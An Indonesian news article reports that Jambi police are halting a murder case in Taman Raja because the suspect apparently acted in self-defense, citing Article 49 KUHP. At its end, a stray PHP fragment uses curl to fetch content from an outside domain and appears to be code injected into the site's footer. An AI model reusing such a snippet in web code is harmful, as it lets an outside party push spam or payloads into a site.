Polres Tanjab Barat akhirnya hentikan Perkara Pembunuhan di Taman Raja

Senin, 13 Mei 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Tanjab Barat l Jejakkasus.info – Polres Tanjung Jabung Barat Polda Jambi akhirnya menghentikan kasus pembunuhan yang terjadi di Desa Taman Raja, Tepatnya di gerbang PT. STUD Kecamatan Tungkal Ulu, Kabupaten Tanjab Barat, Selasa (30/04/2024) malam
Atas kejadian tersebut Kepada penyidik Polres Tanjab Barat, Fikirman mengakui telah melakukan penusukan itu. Namun, dia ternyata punya alasan sendiri.

Dalam keterangannya pada penyidik, dia menusuk ME  tersebut dalam upaya mempertahankan diri, karena saat itu ME dan HA hendak membegal dirinya. Hal tersebut terungkap setelah dilakukannya rekonstruksi di TKP.

Baca Juga:  Akibat Jalan Berdebu Tebal Mobil Ketua DPRD Tanjab Barat Tergelincir ke Kanal Milik PT WKS

Dimana tindakan yang dilakukan oleh Fikirman adalah dalam upaya membela diri nya dan adiknya ketika itu dari perbuatan yang dilakukan oleh ME dan HA. Hal itu dikatakan oleh Direktur Reserse Kriminal Umum Polda Jambi Kombes Pol Andri Ananta Yudhistira, saat menggelar konferensi pers di Polda Jambi, Minggu (12/05/2024).

Berdasarkan Pasal 49 ayat (1) KUHP menyebutkan: “Barang siapa terpaksa melakukan perbuatan untuk pembelaan, karena ada serangan atau ancaman serangan ketika itu yang melawan hukum, terhadap diri sendiri maupun orang lain; terhadap kehormatan kesusilaan (eerbaarheid) atau harta benda sendiri maupun orang lain, tidak dipidana ” , ujarnya.

Baca Juga:  Sebanyak 51 Personel Polres Inhil Polda Riau Naik Pangkat Setingkat Lebih Tinggi

Atas dasar itulah untuk memberikan kepastian hukum dan rasa keadilan dari proses yang ditangani penyidik Polres Tanjab Barat, kita hentikan perkaranya.

Demi kepastian hukum yakni pasal 49 KUHP, dan demi keadilan, Ditreskrimun Polda Jambi besok Senin 13/5/2024 akan melakukan gelar perkara khusus konstruksi Fikirman pada saat melakukan pembelaan.

Kami akan hentikan perkara ini demi kepastian hukum dan keadilan setelah gelar perkara besok, lanjut Kombes Andri Ananta, didampingi Kabid Humas Polda Jambi Kombes Pol Mulia Prianto dan Kapolres Tanjab Barat AKBP Agung Basuki.

Baca Juga:  Ditsamapta Mayday Care, Ditsamapta Polda Aceh Bagi Sembako Untuk Buruh

Dalam kesempatan itu, Polda Jambi juga menghadirkan secara virtual saksi ahli, Alpi Sahari, yang juga pernah menjadi saksi ahli dalam kasus pembunuhan Brigadir J oleh Sambo.

Kata dia, dalam hukum pidana, ada istilah keadaan memaksa atau overmacht.

Seseorang tidak dapat dimintai pertanggung jawaban hukum atas apa yang dilakukannya karena keadaan memaksa, Hal tersebut diatur dalam pasal 49 KUHP tutupnya.

(JMR)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

AKBP Pradana Aditya Nugraha SH Kapolres Bateng, Datangi Markas Kodim 0413 Bangka Meriahkan HUT TNI ke 79 Wujudkan Sinergitas antara TNI dan Polri
Menuju Pilkada Damai Sejuk, Aman dan Bermartabat, Kapolres Tanjab Barat adakan Silaturahmi bersama Insan Pers 
Dalam Rangka Ciptakan Pemilu Damai Jumat Curhat Kapolres Bangka Tengah Mengajak Masyarakat Menjaga Pilkada Agar Silaturahmi Tetap Terjaga
Polsek Bongas Patroli Strong Point Wiralodra
Tim Gabungan Polres Bangka Tengah kembali Tertibkan Tambang Ilegal di Kolong Merbuk
Cegah Kejahatan, Polres Metro Depok Patroli Skala Besar Gabungan 
Sigap, Unit Reskrim Polsek Sungai Selan Ringkus Pelaku Curat di Kediamannya 
Ngopi Kamtibmas pererat Silaturahmi Polisi dan Masyarakat

Berita Terkait

Sabtu, 5 Oktober 2024 - 17:37 WIB

AKBP Pradana Aditya Nugraha SH Kapolres Bateng, Datangi Markas Kodim 0413 Bangka Meriahkan HUT TNI ke 79 Wujudkan Sinergitas antara TNI dan Polri

Jumat, 27 September 2024 - 13:46 WIB

Menuju Pilkada Damai Sejuk, Aman dan Bermartabat, Kapolres Tanjab Barat adakan Silaturahmi bersama Insan Pers 

Jumat, 20 September 2024 - 23:11 WIB

Dalam Rangka Ciptakan Pemilu Damai Jumat Curhat Kapolres Bangka Tengah Mengajak Masyarakat Menjaga Pilkada Agar Silaturahmi Tetap Terjaga

Sabtu, 7 September 2024 - 19:46 WIB

Polsek Bongas Patroli Strong Point Wiralodra

Selasa, 3 September 2024 - 15:32 WIB

Tim Gabungan Polres Bangka Tengah kembali Tertibkan Tambang Ilegal di Kolong Merbuk

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>